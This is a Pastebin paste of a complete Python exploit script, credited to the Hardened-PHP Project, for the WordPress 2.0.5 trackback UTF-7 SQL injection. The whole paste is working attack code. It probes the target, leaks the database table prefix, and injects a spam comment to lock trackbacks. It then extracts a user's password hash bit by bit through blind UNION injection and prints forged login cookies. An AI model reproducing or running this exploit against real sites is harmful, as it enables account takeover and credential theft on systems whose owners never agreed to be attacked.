YeiZeta

WordPress **Sql Injection** python

Nov 3rd, 2012
217
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.09 KB | None | 0 0
  1. #!/usr/bin/python
  2. #######################################################################
  3. # _ _ _ _ ___ _ _ ___
  4. # | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \
  5. # | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/
  6. # |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_|
  7. #
  8. #######################################################################
  9. # Proof of concept code from the Hardened-PHP Project
  10. #
  11. # NOT FOR DISTRIBUTION
  12. # PLEASE DO NOT SPREAD THIS CODE
  13. #
  14. #######################################################################
  15. #
  16. # -= Wordpress 2.0.5 =-
  17. # Trackback UTF-7 SQL injection exploit
  18. #
  19. # beware of encoded single-quotes
  20. #
  21. #######################################################################
  22.  
  23. import urllib
  24. import getopt
  25. import sys
  26. import string
  27. import re
  28. import time
  29. import datetime
  30. import md5
  31.  
  32. __argv__ = sys.argv
  33.  
  34. def banner():
  35. print "Wordpress 2.0.5 - Trackback UTF-7 SQL injection exploit"
  36. print "Copyright (C) 2006 Stefan Esser/Hardened-PHP Project"
  37. print " *** DO NOT DISTRIBUTE ***\n"
  38.  
  39. def usage():
  40. banner()
  41. print "Usage:\n"
  42. print " $ ./wordpressx.py [options]\n"
  43. print " -h http_url url of the Wordpress blog"
  44. print " f.e. http://www.wordpress.org/development/"
  45. print " -p id id of posting to exploit trackback (default: 1)"
  46. print " -i id User id to steal password hash for(default: -1)"
  47. print " -u username username to steal password hash for (default: ...)"
  48. print ""
  49. sys.exit(-1)
  50.  
  51. def determineCookieHash(host):
  52.  
  53. wclient = urllib.URLopener()
  54.  
  55. print "[+] Connecting to retrieve cookie hash"
  56.  
  57. try:
  58. req = wclient.open(host + "/wp-login.php?action=logout")
  59. except IOError, e:
  60. if e[1] == 302:
  61. # Got a 302 redirect, but check for cookies before redirecting.
  62. # e[3] is a httplib.HTTPMessage instance.
  63. if e[3].dict.has_key('set-cookie'):
  64. cookie = e[3].dict['set-cookie'];
  65. chash = cookie[string.find(cookie, "user_")+5:]
  66. chash = chash[:string.find(chash, "=")]
  67. print "[+] Cookie hash found: %s" % chash
  68. return chash
  69.  
  70.  
  71. print "[-] Unable to retrieve cookie... something is wrong"
  72. sys.exit(-3)
  73. return ""
  74.  
  75. def determineIsMbstringInstalled(host, pid):
  76.  
  77. wclient = urllib.URLopener()
  78.  
  79. print "[+] Connecting to check if mbstring is installed"
  80.  
  81. params = {
  82. 'charset' : 'UTF-7',
  83. 'title' : '+ADA-'
  84. }
  85.  
  86. try:
  87. req = wclient.open(host + "/wp-trackback.php?p=" + pid, urllib.urlencode(params))
  88. except IOError, e:
  89. if e[1] == 302:
  90. print "[+] ext/mbstring is installed. continue with exploit"
  91. return 1
  92.  
  93. content = req.read()
  94.  
  95. if string.find(content, 'error>1</error>') != -1:
  96. print "[-] Illegal posting id choosen, test impossible"
  97. sys.exit(-2)
  98.  
  99. print "[-] ext/mbstring not installed... exploit not possible"
  100. sys.exit(-2)
  101. return 0
  102.  
  103. def determineTablePrefix(host, pid):
  104.  
  105. wclient = urllib.URLopener()
  106.  
  107. print "[+] Connecting to determine mysql table prefix"
  108.  
  109. params = {
  110. 'charset' : 'UTF-7',
  111. 'title' : 'None',
  112. 'url' : 'None',
  113. 'excerpt' : 'None',
  114. 'blog_name' : '+ACc-ILLEGAL'
  115. }
  116.  
  117. try:
  118. req = wclient.open(host + "/wp-trackback.php?p=" + pid, urllib.urlencode(params))
  119. except IOError, e:
  120. if e[1] == 302:
  121. print "[-] Table prefix cannot be determined... exploit not possible"
  122. sys.exit(-2)
  123. return ""
  124.  
  125. content = req.read()
  126.  
  127. f = re.search('FROM (.*)comments WHERE', content)
  128. if f != None:
  129. prefix = f.group(1)
  130. print "[+] Table prefix is: %s" % prefix
  131. return prefix
  132.  
  133. print "[-] Table prefix cannot be determined... exploit not possible"
  134. sys.exit(-2)
  135. return ""
  136.  
  137. def lockTrackbacks(host, pid):
  138.  
  139. now = datetime.datetime.utcnow()
  140. now = now.replace(microsecond = 0)
  141.  
  142. future = now + datetime.timedelta(days=1)
  143. future = future.replace(microsecond = 0)
  144.  
  145. wclient = urllib.URLopener()
  146.  
  147. print "[+] Connecting to lock trackbacks"
  148.  
  149. author = "Mark Mouse"
  150. author_email = "[email protected]"
  151. author_url = ""
  152. author_ip = "210.35.2.3"
  153. agent = "Internet Explorer"
  154. futuredate = future.isoformat(' ')
  155. futuredate_gmt = future.isoformat(' ')
  156. date = now.isoformat(' ')
  157. date_gmt = now.isoformat(' ')
  158.  
  159. sql = "%s','%s','%s','%s','%s','%s','','0','%s','comment','0','0'),('0', '', '', '', '', '%s', '%s', '', 'spam', '', 'comment', '0','0' ) /*" % \
  160. ( author , author_email , author_url , author_ip , date , date_gmt , agent, futuredate, futuredate_gmt )
  161.  
  162. sql = string.replace(sql, "'", "+ACc-")
  163.  
  164. params = {
  165. 'charset' : 'UTF-7',
  166. 'title' : 'None',
  167. 'url' : 'None',
  168. 'excerpt' : 'None',
  169. 'blog_name' : sql
  170. }
  171.  
  172. try:
  173. req = wclient.open(host + "/wp-trackback.php?p=" + pid, urllib.urlencode(params))
  174. except IOError, e:
  175. if e[1] == 302:
  176. print "[-] Table prefix cannot be determined... exploit not possible"
  177. sys.exit(-2)
  178. return ""
  179.  
  180. content = req.read()
  181.  
  182. return ""
  183.  
  184. def checkUsername(host, pid, prefix, name, uid):
  185.  
  186. wclient = urllib.URLopener()
  187.  
  188. print "[+] Connecting to check if user %s is present" % name
  189.  
  190. if uid != -1:
  191. sql = "' AND 1=0) UNION SELECT 1 FROM %susers WHERE ID='%s' /*" % (prefix, uid)
  192. else:
  193. sql = "' AND 1=0) UNION SELECT 1 FROM %susers WHERE user_login='%s' /*" % (prefix, name)
  194.  
  195. sql = string.replace(sql, "'", "+ACc-")
  196.  
  197. params = {
  198. 'charset' : 'UTF-7',
  199. 'title' : 'None',
  200. 'url' : 'None',
  201. 'excerpt' : 'None',
  202. 'blog_name' : sql
  203. }
  204.  
  205. req = wclient.open(host + "/wp-trackback.php?p=" + pid, urllib.urlencode(params))
  206.  
  207. content = req.read()
  208.  
  209.  
  210. if string.find(content, 'Duplicate') != -1:
  211. return 1
  212. if string.find(content, 'Doppelter') != -1:
  213. return 1
  214.  
  215. if uid != -1:
  216. print "[-] Error user_id invalid"
  217. else:
  218. print "[-] Error username invalid"
  219. sys.exit(-2)
  220. return 0
  221.  
  222.  
  223. def bruteforceBit(host, pid, prefix, name, uid, bit):
  224.  
  225. wclient = urllib.URLopener()
  226.  
  227. nibble = (bit / 4) + 1
  228. bit = (bit % 4) + 1
  229.  
  230. sql = "' AND 1=0) UNION SELECT 1 FROM %susers WHERE " % prefix
  231.  
  232. if uid != -1:
  233. sql = sql + "ID='%s'" % uid
  234. else:
  235. sql = sql + "user_login='%s'" % name
  236.  
  237. sql = sql + " and substring(reverse(lpad(conv(substring(user_pass, %d,1), 16, 2),4,'0')),%d,1)='1' /*" % (nibble, bit)
  238.  
  239. sql = string.replace(sql, "'", "+ACc-")
  240.  
  241. params = {
  242. 'charset' : 'UTF-7',
  243. 'title' : 'None',
  244. 'url' : 'None',
  245. 'excerpt' : 'None',
  246. 'blog_name' : sql
  247. }
  248.  
  249. req = wclient.open(host + "/wp-trackback.php?p=" + pid, urllib.urlencode(params))
  250.  
  251. content = req.read()
  252.  
  253. if string.find(content, '15 seconds') != -1:
  254. return 0
  255. if string.find(content, '15 Sekunden') != -1:
  256. return 0
  257. if string.find(content, 'Duplicate') != -1:
  258. return 1
  259. if string.find(content, 'Doppelter') != -1:
  260. return 1
  261.  
  262. print "[-] Error retrieving password hash: unexpected reply at bit %d" % bit
  263. sys.exit(-2)
  264. return ""
  265.  
  266. def bruteforce(host, pid, prefix, name, uid):
  267.  
  268. phash = ""
  269.  
  270. print "[+] Retrieving the password hash bit by bit"
  271.  
  272. for i in range(32):
  273. nibble = 0
  274. for j in range(4):
  275. nibble = nibble | (bruteforceBit(host, pid, prefix, name, uid, i*4+j) << j)
  276. phash = phash + "%x" % nibble
  277.  
  278. return phash
  279.  
  280.  
  281. def main():
  282. try:
  283. opts, args = getopt.getopt(sys.argv[1:], "h:i:u:p:e:d:")
  284. except getopt.GetoptError:
  285. usage()
  286.  
  287. if len(__argv__) < 2:
  288. usage()
  289.  
  290. username = 'admin'
  291. password = None
  292. email = None
  293. domain = None
  294. host = None
  295. pid = 1
  296. uid = -1
  297. for o, arg in opts:
  298. if o == "-h":
  299. host = arg
  300. if o == "-p":
  301. pid = arg
  302. if o == "-i":
  303. uid = arg
  304. if o == "-u":
  305. username = arg
  306. if o == "-e":
  307. email = arg
  308. if o == "-d":
  309. domain = arg
  310.  
  311. # Printout banner
  312. banner()
  313.  
  314. # Check if everything we need is there
  315. if host == None:
  316. print "[-] need a host to connect to"
  317. sys.exit(-1)
  318.  
  319. # if username == None:
  320. # print "[-] username needed to continue"
  321. # sys.exit(-1)
  322. # if password == None:
  323. # print "[-] password needed to continue"
  324. # sys.exit(-1)
  325. # if email == None:
  326. # print "[-] email address needed to continue"
  327. # sys.exit(-1)
  328. # if domain == None:
  329. # print "[-] catch all domain needed to continue"
  330. # sys.exit(-1)
  331.  
  332. determineIsMbstringInstalled(host, pid)
  333. chash = determineCookieHash(host)
  334. lockTrackbacks(host, pid)
  335.  
  336. prefix = determineTablePrefix(host, pid)
  337. checkUsername(host, pid, prefix, username, uid)
  338.  
  339. phash = bruteforce(host, pid, prefix, username, uid)
  340.  
  341. print "[+] Done..."
  342. print " The password hash is %s" % phash
  343.  
  344. m = md5.new()
  345. m.update(phash)
  346. cphash = m.hexdigest()
  347.  
  348. print " The logincookies are:"
  349. print " wordpressuser_%s=%s" % (chash, username)
  350. print " wordpresspass_%s=%s" % (chash, cphash)
  351.  
  352. if __name__ == "__main__":
  353. main()
Add Comment
Please, Sign In to add comment